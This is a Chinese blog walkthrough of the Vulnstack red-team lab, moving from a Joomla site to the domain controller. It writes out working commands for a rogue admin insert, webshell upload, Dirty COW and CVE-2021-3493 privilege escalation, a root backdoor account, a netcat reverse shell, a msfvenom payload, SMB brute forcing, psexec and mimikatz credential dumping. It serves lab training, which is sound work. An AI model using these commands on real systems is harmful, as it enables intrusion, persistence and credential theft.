ATT&CK靶场系列（三）

已于 2022-11-09 15:35:37 修改
阅读量2.9k 收藏 15
点赞数 10
分类专栏： 渗透测试 文章标签： web安全 渗透测试
于 2021-11-29 16:18:35 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_36241198/article/details/120950237
版权

一、环境配置

vlunstack是红日安全团队出品的一个实战环境，具体介绍请访问：http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

拓扑结构

在这里插入图片描述

百度网盘： https://pan.baidu.com/s/1iy4MIy6ni6d9F3iypeCYVQ
密码: 【红日安全】您的下载密码为：7mhi。

环境配置
打开虚拟机镜像为挂起状态，第一时间进行快照，部分服务未做自启，重启后无法自动运行。
挂起状态，账号已默认登陆，centos为出网机，第一次运行，需重新获取桥接模式网卡ip。
除重新获取ip，不建议进行任何虚拟机操作。
参考虚拟机网络配置，添加新的网络，该网络作为内部网络。
注：名称及网段必须符合上述图片，进行了固定ip配置。

描述

目标：域控中存在一份重要文件。
本次环境为黑盒测试，不提供虚拟机账号密码。

靶场配置

在这里插入图片描述
centos为出网机配置了两张网卡一个外网、一个内网
在这里插入图片描述

二、前期信息收集

站点、端口服务探测、目录敏感文件泄露

使用nmap、对当前的C段进行探寻

nmap -A -v -T4 192.168.1.1/24

在这里插入图片描述
发现了192.168.1.110存在服务并且开放的端口如下

nmap -sV -O 192.168.1.110

在这里插入图片描述
开放了一个web网站服务、mysql数据库服务、22远程ssh连接服务，访问ip站点如下：
在这里插入图片描述
发现是一个joomla CMS，于是进行目录扫描，发现敏感文件如下：
在这里插入图片描述

目录泄露~
在这里插入图片描述
后台管理登陆页面泄露
在这里插入图片描述

phpinfo泄露
在这里插入图片描述

数据库账号密码泄露
在这里插入图片描述

joomscan

也可以使用使用漏洞工具扫描 https://github.com/OWASP/joomscan

joomscan -u http://192.168.1.110/

在这里插入图片描述
在这里插入图片描述
发现joomla是3.9.12版本，然后尝试搜索已知漏洞
在这里插入图片描述
这里通过敏感文件泄露已经获取了数据库账号和密码，先去尝试连接

public $user = 'testuser';
public $password = 'cvcvgjASD!@';

在这里插入图片描述

数据库连接成功，因为 joomla 可以在后台模板 getshell，所以尝试查找管理员的账号密码登录后台，但是数据表中存储的管理员密码是加密的，需要换一种思路。

根据 joomla 官方文档 ：
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
执行 sql 语句在数据库中添加 admin2/secret 超级管理员，注意 sql 语句修改为目标数据表的前缀。

INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());

INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

在这里插入图片描述

三、漏洞利用&Joomla后台getshell

成功进入后台
在这里插入图片描述
根据利用Joomla < v3.9.15 远程命令执行漏洞getshell
Extensions->Templates->Templates->Beez3 Details and Files->New File 新建文件 shell.php，写入一句话木马。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
使用蚁剑连接，shell连接目录为：http://192.168.1.110/templates/beez3/shell.php

bypass disable_functions

在这里插入图片描述
虚拟终端执行系统命令返回 ret=127，怀疑服务端 disable_functions 禁用了命令执行函数。

原因是php7禁用了一些危险函数
在这里插入图片描述
这里直接选择蚁剑的插件进行绕过
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

当前网卡ip与连接ip不一致，当前 ip 为 192.168.93.120，内核是 ubuntu，说明真正的 web 服务后端在 ubuntu。
在这里插入图片描述

centos 服务器账号密码泄露

信息收集

uname -a
cat /proc/version

在这里插入图片描述

由于 ubuntu 内核比较新，暂时不考虑提权。翻找文件发现 test.txt 给出了一个用户的账号密码。
在这里插入图片描述 账号：wwwuser
密码：wwwuser_123Aqx

Xshell进行连接
在这里插入图片描述
查看内核版本
在这里插入图片描述
拿到出网机后想继续横向移动，一般是在跳板机搭建 socks 代理，所以需要将 centos 提权。

三、内网渗透

LES：Linux 提权审计工具
工具地址：https://github.com/mzet-/linux-exploit-suggester
上传linux-exploit-suggester.sh到centos服务器上并运行
在这里插入图片描述
在这里插入图片描述
检查出最有可能是脏牛提权

centos&脏牛提权

原理：
linux内核的子系统在处理写入时复制至产生了竞争条件，恶意用户可利用此漏洞来获取高权限，对只读内存映射进行访问。并且在提权的时候，杀毒软件并不会检测到。
竞争条件，指的是任务执行顺序异常，可导致应用奔溃，或令攻击者有机可乘，进一步执行其他代码，利用这一漏洞，攻击者可在其目标系统提升权限，甚至可能获取到root权限。

影响版本：
Linux内核> = 2.6.22（2007年发行）开始就受影响了，直到2016年10月18日才修复。

危害：
低权限的用户可利用这一漏洞在本地进行提权
工具地址：https://github.com/FireFart/dirtycow

将 dirty.c 上传到 centos，gcc -pthread dirty.c -o dirty -lcrypt 命令编译生成 dirty 可执行文件，执行 ./dirty password 提权

gcc -pthread dirty.c -o dirty -lcrypt

./dirty password

在这里插入图片描述

su firefart
密码：password

在这里插入图片描述
在这里插入图片描述

权限维持，添加 root 后门

# 创建一个用户名guest，密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld

ubuntu&CVE-2021-3493提权

第一步是先将绕过disable_function的shell反弹到centos上（因为不能出网）
centos 离线安装 nc：https://blog.csdn.net/weixin_40583191/article/details/106803430

centos
nc -l 2333

ubuntu
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.93.100 2333 >/tmp/f

在这里插入图片描述
在这里插入图片描述
Ubuntu特权提升漏洞（CVE-2021-3493）

漏洞描述
OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。Linux内核中overlayfs文件系统中的Ubuntu特定问题，在该问题中，它未正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁，因此本地攻击者可以使用它来获得更高的特权。

影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

刚好ubuntu16.04尝试提权
EXP下载地址：https://github.com/briskets/CVE-2021-3493

下载好之后直接上传exp

gcc exp.c -o exp
chmod +x exp
./exp

在这里插入图片描述

CrossC2 上线centos

kali_ip:192.168.1.128
./genCrossC2.Linux 192.168.1.128 6666 null null Linux x64 test
在这里插入图片描述
生成一个linux，名字为test的shell

上线CS
在这里插入图片描述
配置监听器
在这里插入图片描述
在这里插入图片描述

msf 上线centos

攻击机生成 shell.elf，设置监听，将 elf 文件上传至 centos，执行后攻击机成功获得一个 meterpreter。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f elf > shell.elf

在这里插入图片描述
在这里插入图片描述

四、横向渗透

在msf上添加路由，meterpreter 放在后台，进行存活主机探测。

run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit

得到了三台加入TEST域的 windows 主机
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

配置代理

配置一下代理再搞，将ew_for_linux传到跳板机

./ew_for_linux64 -s ssocksd -l 8888

在这里插入图片描述
kali设置代理

vim /etc/proxychains.conf

请添加图片描述

windows代理软件Proxifier，打开配置代理
在这里插入图片描述
代理弄好这就直接上工具就完事了，开干

设置 proxychains bash 全局终端

proxychains bash

192.168.93.10
在这里插入图片描述

192.168.93.20
在这里插入图片描述
192.168.93.30
在这里插入图片描述
web无果，只好尝试爆破咯，这里踩坑kali2021版本的msf怎么打都不行，而kali2019版本msf就行这就离谱了。

smb爆破

use auxiliary/scanner/smb/smb_login
set SMBUSER administrator
set PASS_FILE /root/pass.txt
set rhosts 192.168.93.20
run

在这里插入图片描述
还可以使用工具
在这里插入图片描述

PsExec漏洞利用

PsExec是一款功能强大的软件，起初主要用于大批量Windows主机的运维，在域内效果不错。但是，攻击者逐渐开始使用PsExec，通过命令行环境和目标机器进行连接，甚至控制目标机器，而不需要通过RDP远程桌面协议进行图形化控制，很好的隐藏了黑客活动。
参考：https://www.cnblogs.com/tomyyyyy/p/14667204.html

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set smbuser administrator
set smbpass 123qwe!ASD
run

在这里插入图片描述
但是一直掉线就很尴尬~~~ 查看共享目录并登录

smbclient -L 192.168.93.20 -U administrator

在这里插入图片描述

smbclient //192.168.93.20/ADMIN$ -U administrator

在这里插入图片描述
wmiexec smb登录

wmi 出现在所有的 windows 操作系统中，由一组强大的工具集合组成，用于管理本地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作，可以做到无日志、攻击脚本无需写入到磁盘，增加了隐蔽性。

wmiexec 执行命令，搜集信息，参考：wmiexec.py 下载地址：https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python3 -m pip install  .（pip install . 两个空格）（若pip安装出错，尝试apt install gcc-9-base ，重新下载apt-get install python-pip）

python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

在这里插入图片描述

定位域控

DNS服务器一般是域控 嘿嘿也有可能不是
在这里插入图片描述
可以先查看一下端口

netstat -an | find “3389”

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关防火墙
https://www.cnblogs.com/Fluorescence-tjy/p/9835743.html

在这里插入图片描述
上传mimikatz

账号：administrator 密码：123qwe!ASD 远程连接，好家伙传不了

在这里插入图片描述
通过smb共享上传mimikatz

smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe

在这里插入图片描述
那可不就运行起来

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

在这里插入图片描述
抓到域控密码

ipc远程连接

IPC$（Internet Process Connection）是共享“命名管道”的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。

利用IPC$连接者可以与目标主机建立一个连接，得到目标主机上的目录结构、用户列表等信息。

利用条件：
1.管理员开启了默认共享
2.139或445端口开放

net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator #系统默认路径c:\windows\下
dir \\192.168.93.10\C$\users\administrator\Documents

在这里插入图片描述

至此差不多已经结束了，还有一台win7密码和win8一样，方法很多可以中继攻击，也可以wmiexec获取shell
在这里插入图片描述
此次渗透主要是做代理上花了一些时间研究，其他还好
本文仅作靶场实战教程，禁止将本文演示的技术方法用于非法活动，违者后果自负。
参考的大佬们博客：
https://blog.csdn.net/luson2014/article/details/110534905
https://blog.csdn.net/qq_38626043/article/details/119354151
https://blog.csdn.net/weixin_45794666/article/details/118930601

https://mp.weixin.qq.com/s?__biz=MzkzMzI4MTY3OA==&mid=2247483698&idx=1&sn=32b5a4651610c36c92e4166cca768c25&chksm=c24fabd3f53822c5cab1c1f3feb52cfa6307fcc779e3ca2ef6685d1bef2b605d90dec064f458&mpshare=1&scene=23&srcid=1128RLI3aI2zqpk3QmWxdU6f&sharer_sharetime=1638111141625&sharer_shareid=cdcfacac1a78422ff14c9853c2dc0fef#rd

https://mp.weixin.qq.com/s?__biz=Mzg4MjY1NDQ4Nw==&mid=2247483749&idx=1&sn=431647e7af9da9ab6a2e6380da8752c8&chksm=cf522d1df825a40bb92a0eb3029b41495828bb916ef553c156072c2364dfa1551282fe89a451&mpshare=1&scene=23&srcid=1118gzbSD9LNP5PlHlDW5B7R&sharer_sharetime=1638173786859&sharer_shareid=cdcfacac1a78422ff14c9853c2dc0fef#rd

exploitsec
关注
  • 10
    点赞
  • 踩
  • 15
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
专栏目录
Java反序列化漏洞利用工具（joomla）
01-01
Java反序列化漏洞利用工具（joomla版本）亲测可用，直接GETSHELL以及执行命令没问题
利用joomla 3.2.0 – 3.4.4 注入漏洞到getshell
收集盒 Book box
12-17 6640
这本来是一个APT项目，所以详细内容不方便具体透露，涉及到敏感的东西，我用本地测试环境代替。 之前渗透的时候，目标站大部分都是joomla的cms，当时就放弃了，最近joomla的sql注入漏洞让我重新燃起了希望，然后找到所有的joomla，根据后台的样子，大概判断版本，然后找到了两个子站存在问题。 测试爆出管理员密码。语句如下： http://10.211.55.3/joomla/
ATT&CK红队评估实战靶场(三)
最新发布
zkaqlaoniao的博客
03-22 439
申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等。使用msf上的psexec工具会出很多问题。帮助你在面试中脱颖而出。
针对校园某服务器的一次渗透测试
zhangge3663的博客
01-31 2468
发现学校其中一台服务器可能(绝对)存在漏洞。我想(绝对)能拿下它; 而且渗透测试的过程很有趣，便将其记录下来。 0x00 前期交互及信息收集 由于是对内网直接进行大扫描，所以直接判断这不仅是一个Web服务器(多个),同时还运行着FTP、数据库。 在此，再次使用nmap扫描一次，结果如下: $ sudo nmap -T4 -n -sS -sV -O 192.168.3.72Nmap scan report for 192.168.3.72Host is up (0.00076s late..
joomla后台拿shell
风雨来花满楼的博客
07-21 2641
整理了joomla后台拿shell的几种方法，不解释，至于怎么进后台晓得也不晓得… 第一种 官网下载joomla中文包com_zmaxappstore.zip，解压修改install.xml 添加<filename>>test.php</filename> 将test.php放到admin文件夹内，重新打包zip，后台操作Extensions–> install–>upload package file shell_url:/administrator/compon
ATT&CK中文手册.zip
11-24
一、Initial Access(入口点) 二、Execution(命令执行) 三、Persistence(持久化) 四、Privilege Escalation(权限提升) 五、Defense Evasion(绕过防御) 六、Credential Access(获取凭证) 七、Discovery(基础信息收集) ...
ATT&CK手册(修改版)
09-16
ATT&CK手册(修改版)
ATT&CK手册.pdf
09-20
ATT&CK手册.pdf
ATT&CK 知识库（企业）中文版1
08-03
1.1 路过式下载 1 1.2 面向公众应用的利用 2 1.3 外部远程服务 3 1.4 硬件添加 4 1.5 通过移动存储进行复制 5 1.6 鱼叉式钓鱼攻击
教你批量拿joomla的webshell（图）
05-01
教你批量拿joomla的webshell（图） 教你批量拿joomla的webshell（图）
CTFHub-bypass disable_function
a21536545645的博客
07-10 762
一，LD_PRELOAD 前置知识: putenv:php函数,可以设置环境变量 mail()，error_log(): php的函数，会调用系统的sendmail函数发送邮件 LD_PRELOAD:linux环境变量，作用是他设置的.so会在程序本身的.so之前执行。 题目情况 存在一个shell，用蚂剑直接连接。进入虚拟终端执行命令发现ret=127，说明不能执行系统命令 /?ant=phpinfo();看到禁用了很多函数 但是没有禁用putenv,error_log,email这几个函数 思路 创建
记ATT&CK实战系列——红队实战（三）红日靶场
shulao2010的博客
05-08 780
通过靶场，模拟从外网如何一层一层穿透到内网，最后拿下域控
vulnhub靶场之DC-3渗透教程（Joomla CMS）
旺仔Sec&blog
06-06 783
靶机下载链接作者DCAU发布日期2020年4月25日难度中等1、这个靶场主要考了Joomla的cms框架，然后就是一个外部的提权文件来进行提权2、因此还是得要多熟悉一下常用的cms，说实话，这个上传点还找了蛮久的哈哈哈3、希望有不足之处，欢迎各位师傅点评一下！
红日（vulnstack）3 内网渗透ATT&CK实战
m0_66299232的博客
03-11 1562
蚁剑成功连接后无法执行命令，disable_functions插件，权限提升-脏牛漏洞，用msfvenom生成木马文件，msf开启监听，执行木马文件，成功反弹shell到msf上 use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.1.106 set LPORT 1106 run 使用use auxiliary/scanner/smb/smb_login模块，进行smb爆破
ATT&CK实战系列-红队实战(三) VulnStack靶场
weixin_68652890的博客
05-11 504
信息搜集 nmap 扫192.168.5.0/24网段 目标主机开启22 80 3306 思路：22 ssh爆破 远程连接 80 从网站getshell 3306 mysql 外联(数据库配置文件) 先访问80 指纹识别 joomla cms msf探测版本为3.9.12 没找到exp 用dirsearch 扫到后台 和数据库配置文件configuration.php~ 泄露数据库账号和密码 用Navicat连接数据库 [外链图片转存失败,源站可能有防盗链机制,建议
Joomla插件漏洞分析溯源
2303_76679642的博客
08-29 166
option=com_collector&view=filelist&tmpl=component&folder=&type=1，然后选中目录administrator，上传一个一句话木马文件。步骤2：打开虚拟机kali Linux，使用命令 cat /usr/share/exploitdb/exploits/php/webapps/24228.txt查看。步骤4：打开菜刀或者哥斯拉，这里我用哥斯拉，进行连接，就能拿到Key值。里面查找joomla漏洞。步骤1：进入靶场，先在。
CTF第十四天
qq_52680097的博客
08-28 874
CTF第十四天 太久没写了，今天挑战下题目 LD_PRELOAD 太久没整了，我都忘了PHP是啥，再复习一遍。 PHP是一种能在服务器端执行的脚本语言，也可嵌入到HTML中 看到这个提示，先来了解下Linux LD_PRELOAD环境变量 这里有关于动态链接库的详解和Linux LD_PRELOAD环境变量简介 动态链接库详解【一】 linux 环境变量LD_PRELOAD简介 定义优先加载的动态链接库 了解了这些，大概就能知道这题的原理了 原理：php部分函数在执行的时候会加载动态库里面的函数，而LD_
MITRE ATT&CK
09-17
MITRE ATT&CK是一个强大且庞大的框架，用于描述和组织关于攻击者战术和技术的知识。它可以帮助安全专业人员了解攻击者可能使用的方法和技术，并提供对防御和检测措施的指导。 ATT&CK框架包括三个主要模型：ATT&CK for Enterprise、ATT&CK for Mobile和ATT&CK for ICS。ATT&CK for Enterprise适用于Windows、Linux、MacOS、云平台等技术和战术。ATT&CK for Mobile适用于移动设备的战术和技术。ATT&CK for ICS适用于工控设备的战术和技术。 ATT&CK框架使用矩阵的方式来展现攻击方的战术和技术。矩阵根据攻击者可能采取的不同行动进行分类。通过研究和理解ATT&CK矩阵，安全专业人员可以更好地了解攻击者的行为模式，并制定相应的防御策略和安全措施。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值